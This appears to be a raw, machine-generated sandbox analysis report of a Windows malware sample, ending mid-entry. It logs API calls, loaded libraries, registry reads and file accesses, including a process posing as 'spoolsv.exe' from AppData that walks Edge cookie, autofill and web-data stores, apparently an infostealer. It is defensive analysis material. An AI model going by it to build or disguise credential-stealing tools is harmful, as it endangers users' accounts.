Found XOR loop in file "sample.bin" at offset 2791185; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2799465; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2895425; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2952287; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3285936; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3331551; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3397823; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3436948; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3491215; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3498322; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3517561; code bytes = 80303f:T45e,Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00009068-00000C2C-1123910635") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00009068-00000C2C-1123910721") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00009068-00000C2C-1123910873") Found reference to API "CheckTokenMembershipW" (Indicator: "CheckTokenMembership"; Source: "00000000-00004032-00000C2C-1147023083") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp")40:T309b,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000f00030078f3ab0098e8d2018370407798e8d2010000000028000000000000000000d10100000000000000000000000000000000448244778066d2010000d10120f4ab0064000000fcf3ab00 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000000093d20100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a7837500000000283bd3010000000052b7c12b0cf2e42409b280750000000000000000283bd301011800000cf2e42415b2807570b18075a8f2e42438b28075c4fed201283bd301086f7a7578f2e4241c5b7a0000000000c832d60140ff7a75000000000000000000000000000000000000000000000000000000000000000000000000000000001c5b7a75000000000093d201020000000093d201020000000093d201020000000010000000010000000000000000cf6d5841a67641cbd111 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000003882d60100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a783750000000078b5d7010000000052b3c12b0ceee42409b28075000000000000000078b5d701011800000ceee42415b2807570b18075a8eee42438b28075548bd60178b5d701086f7a7578eee424001a9c0000000000c832d60140ff7a758450eb0000000000000000000000000000000000001a9c7598ede4240000000000000000000000008450eb00000000003882d601020000003882d601020000003882d60102000000000000000000000000000000010000005841a67641cbd111 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000007883d60100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a7837500000000903cd3010000000072b4c12becf0e42409b280750000000000000000903cd30101180000ecf0e42415b2807570b1807588f1e42438b28075d48cd601903cd301086f7a7558f1e424001a9c00000000000832d70140ff7a758450eb0000000000000000000000000000000000001a9c7578f0e4240000000000000000000000008450eb00000000007883d601020000007883d601020000007883d60102000000000000000000000000000000010000005841a67641cbd111 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000007888d60100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a7837500000000d8afd70100000000c2b5c12b9cefe42409b280750000000000000000d8afd701011800009cefe42415b2807570b1807538f0e42438b28075548dd601d8afd701086f7a7508f0e424001a9c0000000000c832d60140ff7a758450eb0000000000000000000000000000000000001a9c7528efe4240000000000000000000000008450eb00000000007888d601020000007888d601020000007888d60102000000000000000000000000000000010000005841a67641cbd111 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009068) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000f000100f0eecf0098dfc9018370407798dfc9010000000028000000000000000000c8010000000000000000000000000000000044824477a061c9010000c80198efcf006400000000000000 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000004891c90100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a78375000000001847ca0100000000a11eac16bcf0b22409b2807500000000000000001847ca0101180000bcf0b22415b2807570b1807558f1b22438b280751c30cd011847ca01086f7a7528f1b2241c5b7a00000000004017cd0140ff7a75000000000000000000000000000000000000000000000000000000000000000000000000000000001c5b7a75000000004891c901020000004891c901020000004891c901020000000010000000010000000000000000cf6d5841a67641cbd111 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000004875cd0100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a7837500000000905fce01000000000914ac1654ebb22409b280750000000000000000905fce010118000054ebb22415b2807570b18075f0ebb22438b280759c33cd01905fce01086f7a75c0ebb224001a9c0000000000607bcf0140ff7a758450eb0000000000000000000000000000000000001a9c75e0eab2240000000000000000000000008450eb00000000004875cd01020000004875cd01020000004875cd0102000000000000000000000000000000010000005841a67641cbd111 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000888bc90100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a7837500000000d844ca0100000000a914ac16b4eab22409b280750000000000000000d844ca0101180000b4eab22415b2807570b1807550ebb22438b280755c2dcd01d844ca01086f7a7520ebb224001a9c0000000000e056cf0140ff7a758450eb0000000000000000000000000000000000001a9c7540eab2240000000000000000000000008450eb0000000000888bc90102000000888bc90102000000888bc90102000000000000000000000000000000010000005841a67641cbd111 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000002870cd0100000000000000000000000000000000000000000000000001000000010000000000000000000000000000000000cf6d6c0c4f626a65637442a7837500000000f062ce0100000000d919ac1684edb22409b280750000000000000000f062ce010118000084edb22415b2807570b1807520eeb22438b280759c31cd01f062ce01086f7a75f0edb224001a9c0000000000e056cf0140ff7a758450eb0000000000000000000000000000000000001a9c7510edb2240000000000000000000000008450eb00000000002870cd01020000002870cd01020000002870cd0102000000000000000000000000000000010000005841a67641cbd111 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a0000020000000000cf00be604077a0a5ab75be6040770000000000000000000000000d00000000000000020000000d0000001507000002000000d0fdcd01ace3cf00db3d5576501b6376af3d5576830296a60d000000150700000200000000000000b9b0417710a5ab7508e4cf00d01f5876c73138d0feffffffdce3cf000200000080be8576a0a5ab75cce3cf0091be8576020000000000000018e4cf003b3c5576020000000000000068dba375000000009d1a5576841a5576370596a668dba37592000000a0a5ab7500000000c041c07514e4cf0090e4cf00d01f5876872e38d0feffffff24e4cf00101a5576d041c07534e4cf00e52fb975e099f775d041c07540e4cf00 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a0000020000000000937600100000d838c8010100000070dfcf00a100417770004177f39f07b86453937616014177f8ddcf000000000030000000fcdecf00000000002476c375000000000000907644ddcf00d838c8010000000004000000d0a91a7564539376000000006453937601000000f0e04671cc979176f0e04671c0a4cb010000000040ddcf00f0e0467100000000000000000500000000000000020000008093cb017093cb01bcddcf00020000000a0000008093cb01b8dfcf0005e78476acddcf00000000007093cb010a00000020e784767093cb0100a3a28c04e2cf00f4e6cf008063e5000101000000000000acddcf0043003a005c0055007300650072007300 (UID: 00000000-00008464) "spoolsv.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a0000020000000000cf000000c801e8dbcf000cdccf009032477140efcd016400000000000000c049ca0129000000000000000b002000009dcb0160b9cb01b049ca010000c80144efcd0128dccf0000004077000000000000000000000000f843cb01e0a6857540dccf00002c7f750000c8010000000060b9cb01000000005ce3cf00aa7c51718f354f71aef44e4a00000000ace9cf00c4f035712c7b307100000000000000000000000000000000ffffffff0000000000000000000000000000000000000000f843cb010c44cb01f843cb0100000000000000000000000000000000000000001c01000006000000000000008063e500050000000000937600100000d838c801 (UID: 00000000-00008464)41:T535,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "spoolsv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "spoolsv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS")42:T462,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp")43:Tf81,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queries volume information of "C:\Program Files (x86)" at 00000000-00009068-00000C17-1130675055 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00009068-00000C17-1130675629 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages" at 00000000-00008464-00000C17-1139941018 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00008464-00000C17-1139988017 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data" at 00000000-00008464-00000C17-1139990872 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" at 00000000-00008464-00000C17-1139992824 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Last Browser" at 00000000-00008464-00000C17-1140812422 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\pip\spoolsv.exe" at 00000000-00008464-00000C17-1140813394 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Ad Blocking" at 00000000-00008464-00000C17-1146800024 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent" at 00000000-00008464-00000C17-1146801195 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Autofill" at 00000000-00008464-00000C17-1146802006 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics" at 00000000-00008464-00000C17-1146802788 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation" at 00000000-00008464-00000C17-1146832892 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Crashpad" at 00000000-00008464-00000C17-1146833802 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default" at 00000000-00008464-00000C17-1146850675 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00008464-00000C17-1147437518 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" at 00000000-00008464-00000C17-1149355513 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" at 00000000-00008464-00000C17-1149542584 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings" at 00000000-00008464-00000C17-1150942260 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\DeferredBrowserMetrics" at 00000000-00008464-00000C17-1150943510 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Domain Actions" at 00000000-00008464-00000C17-1150944419 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\EADPData Component" at 00000000-00008464-00000C17-1150945188 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config" at 00000000-00008464-00000C17-1150946163 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists" at 00000000-00008464-00000C17-1150966690 "spoolsv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Notifications" at 00000000-00008464-00000C17-115096769444:T4642,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00009068) "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00009068) "spoolsv.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter Crypt32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00008464) "spoolsv.exe" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00008464) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\ef4992f14ba62dc115c01e7a6018e263\mscorlib.ni.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\67186481d97828a572bf5db055f4a9f1\System.ni.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\c20afd70aeb352395f8f5297a727f0ba\System.Core.ni.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter 